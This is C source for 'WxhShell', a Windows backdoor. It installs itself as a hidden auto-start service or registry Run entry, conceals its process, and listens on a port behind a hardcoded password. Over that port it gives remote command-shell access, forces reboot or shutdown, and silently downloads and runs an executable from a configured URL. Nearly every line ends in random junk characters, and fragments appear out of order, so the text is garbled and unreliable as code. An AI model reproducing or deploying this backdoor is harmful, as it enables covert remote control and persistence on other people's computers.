    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Sx}7?8AB  
    else { WC0gJy  
    closesocket(wsh); ]\TYVv)  
    ExitThread(0); KH=4A-e,0  
    } /i !3Fr"  
    break; _Fc :<Ym?  
    } yZHh@W4v  
  // 获取shell lRO7 Ae  
  case 's': { %KjvV<f-a  
    CmdShell(wsh); :6h$1 +6  
    closesocket(wsh); J~jxmh  
    ExitThread(0); 322)r$!"  
    break; N"',  
  } nO;*Peob  
  // 退出 O\~/J/u <  
  case 'x': { ^k#.;Q#4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }^b7x;O|  
    CloseIt(wsh); 5>S=f{ghFw  
    break; ng0tNifZ;  
    } pYxdE|2j  
  // 离开 76'@}wNnw  
  case 'q': { V?[dg^*0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r:.ydr@  
    closesocket(wsh); mK Ta.  
    WSACleanup(); PQ0l<]Y  
    exit(1); ,V`zW<8  
    break; [<0\v<{`L  
        } \N|ma P  
  } # .j[iN :+  
  } JXhHitUD  
jWUpzf)q=T  
  // 提示信息 }piDg(D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +KcD Y1[  
} {.HFB:<!}  
  } ,)svSzR  
]QqT.z%B  
  return; __mnz``/Y  
} .sqX>sU/]  
7>@g)%",  
// shell模块句柄 -O~ V4004  
int CmdShell(SOCKET sock) 9y$"[d27;+  
{ L!>EW0  
STARTUPINFO si; HxE`"/~.7k  
ZeroMemory(&si,sizeof(si)); RX"~m!26  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <w1# 3Mu'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +t8{aaV  
PROCESS_INFORMATION ProcessInfo; pBR9)T\ n  
char cmdline[]="cmd"; dv7IHUFf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l<DpcLX  
  return 0; ?7eD< |  
} ;)c 4  
I k[{,p  
// 自身启动模式 RJ63"F $  
int StartFromService(void) [(81-j1v  
{ .[Hv/?L  
typedef struct H)@f_pfj(  
{ qX_( M2oLU  
  DWORD ExitStatus; <H]1 6  
  DWORD PebBaseAddress; ,suC`)R  
  DWORD AffinityMask; #P,C9OQD  
  DWORD BasePriority; +`(,1L1  
  ULONG UniqueProcessId; sI,S(VWor  
  ULONG InheritedFromUniqueProcessId; ;,&$ob*/  
}   PROCESS_BASIC_INFORMATION; `A0trC3  
HLruZyN4  
PROCNTQSIP NtQueryInformationProcess; I_aS C4  
gX'nFGqud  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5 0KB:1(g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OS{j5o  
T+knd'2V6  
  HANDLE             hProcess; =X24C'!Mpe  
  PROCESS_BASIC_INFORMATION pbi; cs\/6gSCo  
FV];od&c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F Cp\w1+  
  if(NULL == hInst ) return 0; wJ}9(>id*  
^{l^Z +b.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p]^?4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]!mC5Ea  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +<TnE+>j  
cy%S5Rz  
  if (!NtQueryInformationProcess) return 0; F,)\\$=,  
U%qE=u-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3B^`xnV  
  if(!hProcess) return 0; kCVO!@yZz  
N5%Cwl6i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z{p)rscX  
vi8)U]6  
  CloseHandle(hProcess); F?jFFw im  
QVq+';cG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /t $J<bU  
if(hProcess==NULL) return 0; ch-.+p3  
qVe&nXo  
HMODULE hMod; 0D Q\akh  
char procName[255]; >I&'Rj&Mc  
unsigned long cbNeeded; e^ ZxU/e  
R{0nk   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cZFG~n/  
6$*\%  
  CloseHandle(hProcess); = VFPZ  
~ MZEAY9  
if(strstr(procName,"services")) return 1; // 以服务启动 *$6dNx  
wBa IN]Y,  
  return 0; // 注册表启动 dPx{9Y<FzU  
} PQJI~u9te}  
='U>P( R-  
// 主模块 56JvF*hP  
int StartWxhshell(LPSTR lpCmdLine) G Ch]5\  
{ -&UP[Mq  
  SOCKET wsl; []#>r k~  
BOOL val=TRUE; =TcT`](o  
  int port=0; m R|;}u;d  
  struct sockaddr_in door; +/|;<K5_LI  
%fH&UFby  
  if(wscfg.ws_autoins) Install(); BK/~2u  
NKX62 ZC  
port=atoi(lpCmdLine); *l9Wj$vja  
'ai3f  
if(port<=0) port=wscfg.ws_port; wx]r{  
s ~ Xa=_+D  
  WSADATA data; ,!i!q[YkL9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M0$wTmXM  
hP$v,"$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Pr_$%x9D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a|u&N:v7B  
  door.sin_family = AF_INET; &'{?Y;A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }r _d{nhi  
  door.sin_port = htons(port); SAUfA5|e  
W}0cM9 g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^h^\kW'#  
closesocket(wsl); FQp@/H^  
return 1; 7JL*y\'  
} D&C83^m  
\:[J-ySJ  
  if(listen(wsl,2) == INVALID_SOCKET) {  8-.jf  
closesocket(wsl); X) O9PQ  
return 1; b>_eD-  
} -z6{!  
  Wxhshell(wsl); e4rhB"qQdn  
  WSACleanup(); }]K^b1Fs5  
Ee0}Xv  
return 0; R'e>YDC  
<{"Jy)Uf  
} '}pe$=  
H-ewO8@  
// 以NT服务方式启动 R|OY5@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :.J]s<J(F  
{ G1z0q3< B  
DWORD   status = 0; Qi?xx')  
  DWORD   specificError = 0xfffffff; %<?U`o@*  
.R! /?eN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S)L(~ N1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |tua*zEsS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2z+-vT%  
  serviceStatus.dwWin32ExitCode     = 0; \7elqX`.yY  
  serviceStatus.dwServiceSpecificExitCode = 0; fk!P#  
  serviceStatus.dwCheckPoint       = 0; wB0K e  
  serviceStatus.dwWaitHint       = 0; >/eV4ma"  
q?TI(J+/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y%NZ(Y,v  
  if (hServiceStatusHandle==0) return; =T3O;i  
p+7ZGB  
status = GetLastError(); PYPDK*Ie  
  if (status!=NO_ERROR) UL<*z!y  
{ oy< q;'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zhW.0:9 CR  
    serviceStatus.dwCheckPoint       = 0; fJ8Q\lb<_  
    serviceStatus.dwWaitHint       = 0; KsR^:_e  
    serviceStatus.dwWin32ExitCode     = status; lQ!)0F  
    serviceStatus.dwServiceSpecificExitCode = specificError; hOH DXc"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UP?]5x>  
    return; Pi&8!e<  
  } GDBxciv  
3g''j7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =, WW#tD  
  serviceStatus.dwCheckPoint       = 0; _`LQnRp(  
  serviceStatus.dwWaitHint       = 0; tLc 9-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rV6SN.  
} n)6mfoe  
W^sH|2g  
// 处理NT服务事件,比如:启动、停止 ZlEH3-Zv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^+b ??K  
{ jJU9~5i?  
switch(fdwControl) l$mfsm|{:  
{ SIr^\iiOB  
case SERVICE_CONTROL_STOP: |',$5!:0O  
  serviceStatus.dwWin32ExitCode = 0; H}}g\|r&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %"{jNC?  
  serviceStatus.dwCheckPoint   = 0; [t.x cO  
  serviceStatus.dwWaitHint     = 0; ?Gr2@,jlD  
  { 6Q}WX[| tQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D qh rg;  
  } 6 OLp x)fG  
  return; x+B7r& #:  
case SERVICE_CONTROL_PAUSE: f.X<Mo   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e/* T,ZJ  
  break; 8"5^mj  
case SERVICE_CONTROL_CONTINUE: %V2A}78  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hErO.ad1o  
  break; t.YY?5 l  
case SERVICE_CONTROL_INTERROGATE: `:y {  
  break; DuV@^qSbG.  
}; p#DJow  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,4`=gKn  
} IJz=SV  
}_ [Bp  
// 标准应用程序主函数 [l%6wIP&{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CUG3C  
{ -w#*~Q{'*  
8n`O{8:fi  
// 获取操作系统版本 ;(1Xb   
OsIsNt=GetOsVer(); fO'"UI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |^!  
GR ^d/  
  // 从命令行安装 \cKY{(E  
  if(strpbrk(lpCmdLine,"iI")) Install(); R-\a3q  
"S ~(|G  
  // 下载执行文件 D <SLv,Y  
if(wscfg.ws_downexe) { [Kc"L+H\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &]xOjv/?  
  WinExec(wscfg.ws_filenam,SW_HIDE); U`w `Cr  
} 6^vseVx  
R3,O;9i  
if(!OsIsNt) { dnXre*rhz  
// 如果时win9x,隐藏进程并且设置为注册表启动 wx2 EMr   
HideProc(); ~[H+,+XLY+  
StartWxhshell(lpCmdLine); Fu;\t 0  
} (|kcSnF0  
else ~n<U8cm O  
  if(StartFromService()) x;; =+)Gg  
  // 以服务方式启动 _t'S<jTI  
  StartServiceCtrlDispatcher(DispatchTable); $wq[W,'#L  
else Q#a<T4l  
  // 普通方式启动 gZ b +m  
  StartWxhshell(lpCmdLine); :<w2j 6V  
LLlt9(^d  
return 0; }>T$2"pf  
} R_ |Sg  
a"6AZT"8  
r iuG,$EX  
Utv#E.VI  
=========================================== :#I7);ol  
\4qw LM?E^  
C[0*>W8o  
byrK``f  
M`jqU g  
,|u^-J@  
" %hnv go:^g  
vSf ?o\O  
#include <stdio.h> _5%NG 3c  
#include <string.h> F4T}HY>nZ  
#include <windows.h> w4UaWT1J  
#include <winsock2.h> G{C27k>wa  
#include <winsvc.h> 9PZY](/  
#include <urlmon.h> &Ub0o2+y  
Nd] w I|>  
#pragma comment (lib, "Ws2_32.lib") }/cMG/%  
#pragma comment (lib, "urlmon.lib") ~l SdWUk>  
uOU?-WtPz  
#define MAX_USER   100 // 最大客户端连接数 WhY8#B'?  
#define BUF_SOCK   200 // sock buffer xP+HdA2X  
#define KEY_BUFF   255 // 输入 buffer 14LOeo5O  
WhU-^`[*  
#define REBOOT     0   // 重启 ZBX,4kxK7  
#define SHUTDOWN   1   // 关机 YN<:k Wu  
Q;EQ8pL?"  
#define DEF_PORT   5000 // 监听端口 FdZG%N>Z  
9 f+S-!  
#define REG_LEN     16   // 注册表键长度 Ta 0Ln  
#define SVC_LEN     80   // NT服务名长度 Gs7#W:e7  
Ivdg1X  
// 从dll定义API tOQura  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [ S_8;j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T+9#&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b7nER]R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &F xw19[G  
'c")]{  
// wxhshell配置信息 _ h7qS  
struct WSCFG { e.<y-b?  
  int ws_port;         // 监听端口 p"lTZ7c:Y  
  char ws_passstr[REG_LEN]; // 口令 $: %U`46%s  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ln2dD>{2  
  char ws_regname[REG_LEN]; // 注册表键名 O5;$cP:  
  char ws_svcname[REG_LEN]; // 服务名 luYa+E0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fsr0E=nV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  | D?lF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a`:ag~op@&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no icnc5G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NDt +m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NE'4atQ|  
fQ@k$W\  
}; Xgs 31#K  
K.{:H4_  
// default Wxhshell configuration Z\@m_ /g  
struct WSCFG wscfg={DEF_PORT, I,pI2  
    "xuhuanlingzhe", +d=cI  
    1, |i-d#x8  
    "Wxhshell", '&<T;V%  
    "Wxhshell", ! 4ZszQg  
            "WxhShell Service", |x[zzx# >-  
    "Wrsky Windows CmdShell Service", 5m e|dvk  
    "Please Input Your Password: ", 4jyDM68i  
  1, Le*sLuxk<  
  "http://www.wrsky.com/wxhshell.exe", E }*   
  "Wxhshell.exe" j!oD9&W4~  
    }; ~SWR|[  
^I4/{,Ev  
// 消息定义模块 %I&[:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;g M$%!&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sdWu6?B_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :mpR}.^hv  
char *msg_ws_ext="\n\rExit."; .^Z^L F  
char *msg_ws_end="\n\rQuit."; .gPXW=r  
char *msg_ws_boot="\n\rReboot..."; v;r!rZX  
char *msg_ws_poff="\n\rShutdown..."; mnwYv..ePz  
char *msg_ws_down="\n\rSave to "; LZ"yMnhOf  
W%)uKQha  
char *msg_ws_err="\n\rErr!"; Lh"!Z  
char *msg_ws_ok="\n\rOK!"; N0:gY]o%  
B< `'h  
char ExeFile[MAX_PATH]; e{8j(` (;#  
int nUser = 0; 9w%|Nk>=>  
HANDLE handles[MAX_USER]; rps2sXGr  
int OsIsNt; ^JKV~+ Q  
f"8!uE*;  
SERVICE_STATUS       serviceStatus; JDIQpO"Qji  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cc"L> XoK  
J#pl7q)^w  
// 函数声明 "gR W91 T  
int Install(void); 3*DwXH+  
int Uninstall(void); BV9%|  
int DownloadFile(char *sURL, SOCKET wsh); lQnl6j  
int Boot(int flag); cjd Z.jR2  
void HideProc(void); ylEQeN  
int GetOsVer(void); BgzER[g|q{  
int Wxhshell(SOCKET wsl); v@6TC1M,  
void TalkWithClient(void *cs); %dyEF8)  
int CmdShell(SOCKET sock); @y#QHJ.j  
int StartFromService(void);  ?Cu1"bl  
int StartWxhshell(LPSTR lpCmdLine); Hvm+Tr2@  
JpFfO<uO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :-I~-Yj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vWM3JH~a6  
FzDZ<dJ  
// 数据结构和表定义 *i}Nb* Z3  
SERVICE_TABLE_ENTRY DispatchTable[] = D9#?l <D  
{ r dc} e"v  
{wscfg.ws_svcname, NTServiceMain}, Q|^TR__  
{NULL, NULL} 7d7"^M  
}; %/86}DCfE?  
nmLn]U=  
// 自我安装 5K~kzR L$r  
int Install(void) |Bv?! sjf  
{ yWs_Z6b  
  char svExeFile[MAX_PATH]; | CC(`<\R  
  HKEY key; `@Q%}J  
  strcpy(svExeFile,ExeFile); ~B NLzt3%O  
?Q~6\xA  
// 如果是win9x系统,修改注册表设为自启动 i&r56m<  
if(!OsIsNt) { 1D,$Az~.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *mc]Oa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0]F'k8yLN  
  RegCloseKey(key); F^ m`j6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <eObQ[mQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G%a8'3d,  
  RegCloseKey(key); FyZa1%Tv@  
  return 0; \LFRu  
    } lF:gQ]oc  
  } blwdcdh  
} k~(j   
else { FBjIft5e  
#xqeCX 4p  
// 如果是NT以上系统,安装为系统服务 ?G5JAG`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }`oe<|  
if (schSCManager!=0) 0hKF)b  
{ \iQD\=o  
  SC_HANDLE schService = CreateService _]"5]c&*3  
  ( O7#ECUH  
  schSCManager, Lx-ofN\  
  wscfg.ws_svcname, _}X_^taTZS  
  wscfg.ws_svcdisp, &%~2Wm  
  SERVICE_ALL_ACCESS, /t-m/&>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ni$WI{e9  
  SERVICE_AUTO_START, ^A8'YTl  
  SERVICE_ERROR_NORMAL, g)*[W>M  
  svExeFile, w][1C\8m  
  NULL, EDR;" G(N  
  NULL, ."R,j|o6  
  NULL, (+<SR5,/3  
  NULL, SRl:+!@.  
  NULL 6#xP[hlR[  
  ); *p;Fwj]  
  if (schService!=0) L\||#w   
  { zcGeXX}V?  
  CloseServiceHandle(schService); tT}*%A  
  CloseServiceHandle(schSCManager); 6!} @vp![  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <|~8Ezd  
  strcat(svExeFile,wscfg.ws_svcname); ]HP aM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,?GEL>F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y]5O45E0  
  RegCloseKey(key); nB?$W4  
  return 0; a3i4eGT-  
    } t\nYUL-H  
  } ?5e:w?&g@  
  CloseServiceHandle(schSCManager); UY*3b<F}  
} *%L:soM'Ll  
} )s6pOxWx  
A4.Q \0  
return 1; "?|sC{'C4j  
} T:aYv;#0  
>Ha tb bA  
// 自我卸载 ahNpHTPa  
int Uninstall(void) `_C4L=q"  
{ S[rz=[7{  
  HKEY key; Qvh: hkR  
Zr,:i MPZ  
if(!OsIsNt) { OosxuAC(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PSz|I8 c  
  RegDeleteValue(key,wscfg.ws_regname); RiC1lCE  
  RegCloseKey(key); JQQP!]%}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0R&$P 6  
  RegDeleteValue(key,wscfg.ws_regname); o 5dPE{f  
  RegCloseKey(key); ; F% 3b47  
  return 0; 62~8>71;'  
  } F$P8"q+  
} p`lv$ @q'  
} eO#Kn'5  
else { :B?C~U k  
}p 0 \  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \<WRk4D  
if (schSCManager!=0) T)J=lw  
{ F)'kN2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fQcJyX  
  if (schService!=0) L=4%MyZ.e  
  { ) -x0xY  
  if(DeleteService(schService)!=0) { `,|"rn#S  
  CloseServiceHandle(schService); ssGp:{]v/  
  CloseServiceHandle(schSCManager); 5[3vu p?  
  return 0; &@CcH_d*  
  } U_ELeW5@  
  CloseServiceHandle(schService); z97RNT|Y7U  
  } UfcQFT{()  
  CloseServiceHandle(schSCManager); ^$-ID6  
} rEEoR'c6  
} c \cPmj@  
fz'@ON  
return 1; z\wY3pIr2  
} yO\ .dp  
)Y.H*ca  
// 从指定url下载文件 M?mPi 3  
int DownloadFile(char *sURL, SOCKET wsh) RV^ N4q4  
{ ZoJ_I >uv  
  HRESULT hr; tnL$v2e6q  
char seps[]= "/"; T%|{Qo<j  
char *token; Z4 y9d?g%b  
char *file; 0;9X`z J  
char myURL[MAX_PATH]; @I_!q*  
char myFILE[MAX_PATH]; jpijnz{M  
ZBYFQTEE  
strcpy(myURL,sURL); GH ] c  
  token=strtok(myURL,seps); {/|RKV83  
  while(token!=NULL) ~jcdnm]  
  { <k59Ni9  
    file=token; H,8HGL[l  
  token=strtok(NULL,seps); >1luLp/,$  
  } ?r P'PUB  
yR?S]   
GetCurrentDirectory(MAX_PATH,myFILE); ZSWKVTi  
strcat(myFILE, "\\"); hb@,fgo!Q  
strcat(myFILE, file); yhTC?sf<  
  send(wsh,myFILE,strlen(myFILE),0); ;W"=s79  
send(wsh,"...",3,0); FYe#x]ue  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i`k{}!F  
  if(hr==S_OK)  mE1m  
return 0; :c03"jvYE  
else Qdt4h$~V"  
return 1; ,u.G6"<  
B Oc2<M/\  
} 7 LotN6H  
C[X2]zr  
// 系统电源模块 OoIs'S-Z#  
int Boot(int flag) Go;fQ yG  
{ W"3YA+qpI  
  HANDLE hToken; pUV4oyGV   
  TOKEN_PRIVILEGES tkp; RX])#=Cs  
>]dH1@@  
  if(OsIsNt) { UO~Xzx!e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /+ yIcE(&3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n,Gvgf  
    tkp.PrivilegeCount = 1; CpGy'Ia  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6j 2mr6o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `J l/@bE=  
if(flag==REBOOT) { yq6Gyoi<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !_i;6UVG  
  return 0; W]B75  
} Ns2<wl-  
else { /^M|$JRI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qT153dNA&  
  return 0; ]=Tle&yM+T  
} c9/&A  
  } %mFZ!(  
  else { jA' 7@/F/  
if(flag==REBOOT) { a[ Y\5Ojm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k=&UV!J  
  return 0; :iEIo7B  
} 3'jH,17lWV  
else { !,Uzt1K:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EK 8rV  
  return 0; O'.sK pXe  
} -\I".8"YE  
} wSPwa,)7s  
Oj]4jRew  
return 1; Eb~e=){  
} EvGKcu  
QLLMSa+! \  
// win9x进程隐藏模块 n4A#T#D!t3  
void HideProc(void) ]_js-+w6  
{ YZ(tjIgQ  
qe_qag9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jccSjGX@w  
  if ( hKernel != NULL ) {8e4TD9E0  
  { [~5<['G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ozUsp[W>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c2~oPUj  
    FreeLibrary(hKernel); XCyAt;neon  
  } lU8X{SV!  
S4C4_*~Vd  
return; j 21>\K!p  
} %pUA$oUt  
s$ZKd  
// 获取操作系统版本 =2OLyZDI  
int GetOsVer(void) 8;<3Tyjzu  
{ Aq,&p,m03  
  OSVERSIONINFO winfo; :TRhk.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,/Al'  
  GetVersionEx(&winfo); Wu@v%!0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z;lWr(-x  
  return 1; *}RV)0mif  
  else 9?I?;l{  
  return 0; Xmv^O  
} EY}*}-3  
uZXG"  
// 客户端句柄模块 |0$7{nQ  
int Wxhshell(SOCKET wsl) ~vV+)KI  
{ fD~f_Wr  
  SOCKET wsh; 1qE*M7_:E>  
  struct sockaddr_in client; +L-(Lz[p  
  DWORD myID; kn= fW1  
_r?.%] \.  
  while(nUser<MAX_USER) 4YyVh.x  
{ LB/1To  
  int nSize=sizeof(client); 4;)aGN{e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ve*m\DU  
  if(wsh==INVALID_SOCKET) return 1; b0aV?A}th  
TQ69O +  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4Ixu%  
if(handles[nUser]==0) fDrjR6xV  
  closesocket(wsh); v@Bk)Z  
else 4%>2 >5  
  nUser++; c;doxNd6  
  } qrkJ:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wvPS0]  
+qee8QH  
  return 0; {33B%5n"  
} IP+.L]S  
!BEl6h  
// 关闭 socket >"<<hjKJ  
void CloseIt(SOCKET wsh) ?vg|;Q  
{ -^WW7 g`  
closesocket(wsh); pe>[Ts`2F  
nUser--; 3) _(t.$D  
ExitThread(0); n1)~/ >  
} Dz<vIMLF{  
arb'.:[z^  
// 客户端请求句柄 lJ(] ;/%  
void TalkWithClient(void *cs) W+ v#m>G  
{ Xr]<v%,C  
18AlQ+')?w  
  SOCKET wsh=(SOCKET)cs; P*3PDa@  
  char pwd[SVC_LEN]; i ?]`9z  
  char cmd[KEY_BUFF]; 4N_iHe5U  
char chr[1]; RFT`r  
int i,j; bI+ TFOP  
4C`p`AQqpQ  
  while (nUser < MAX_USER) { *9|*21  
3?uah' D5  
if(wscfg.ws_passstr) { 7qEc9S@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !xz{X?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >m4HCs>  
  //ZeroMemory(pwd,KEY_BUFF); Ag_I'   
      i=0; ;]Ko7M(4  
  while(i<SVC_LEN) { \ 3FOI  
}= (|3 \v  
  // 设置超时  y aLc~K  
  fd_set FdRead; v<V9Z <ub  
  struct timeval TimeOut; 'I5~<"E  
  FD_ZERO(&FdRead); C#:L.qK  
  FD_SET(wsh,&FdRead); p[:E$#W~;  
  TimeOut.tv_sec=8; 9y`Vg  
  TimeOut.tv_usec=0; +d JLT}I8M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |\J! x|xy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nPj &a  
-"/l)1ox,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n--w-1  
  pwd=chr[0]; ,xuA%CF-S  
  if(chr[0]==0xd || chr[0]==0xa) { m 4V0e~]  
  pwd=0; $uCY\ xqZ  
  break; \@F!h8e4  
  } S%2qX"8  
  i++; i3U_G^8  
    } H@V+Q}  
xOBzT&  
  // 如果是非法用户,关闭 socket 4=7h1qex  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  d>}R3T  
} ~.&2N Ur  
O`D,>=[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uYAMW{AT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !y-,r4\@`  
kqt.?iJw  
while(1) { QRAw#  
G ,? l o=m  
  ZeroMemory(cmd,KEY_BUFF); ,,CheRO  
%fB!XCW  
      // 自动支持客户端 telnet标准   ]2@g 5H}M  
  j=0; <v[UYvZvY  
  while(j<KEY_BUFF) { W B7gY\Y&M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hWfC"0  
  cmd[j]=chr[0]; Bxs0m]  
  if(chr[0]==0xa || chr[0]==0xd) { VZEDBZ x*  
  cmd[j]=0; ;SVAar4r  
  break; I'a&n}j x  
  } Y0ouLUlI  
  j++; RAi]9`*7  
    } ,c.(&@  
XpoEZ|0  
  // 下载文件 &N\4/'wV  
  if(strstr(cmd,"http://")) { Nd;,Wz]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {>8u/  
  if(DownloadFile(cmd,wsh)) 1zlBkK   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  jgd^{!  
  else r E<Ou"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H*VZ&{\7  
  } /Lt Lu  
  else { + -OnO7f  
Gz@/:dW^vZ  
    switch(cmd[0]) { 3,$G?auW  
  9w08)2$ Na  
